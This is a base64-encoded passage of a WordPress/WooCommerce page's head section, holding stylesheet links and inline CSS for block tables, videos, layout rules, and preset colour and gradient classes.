AgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgI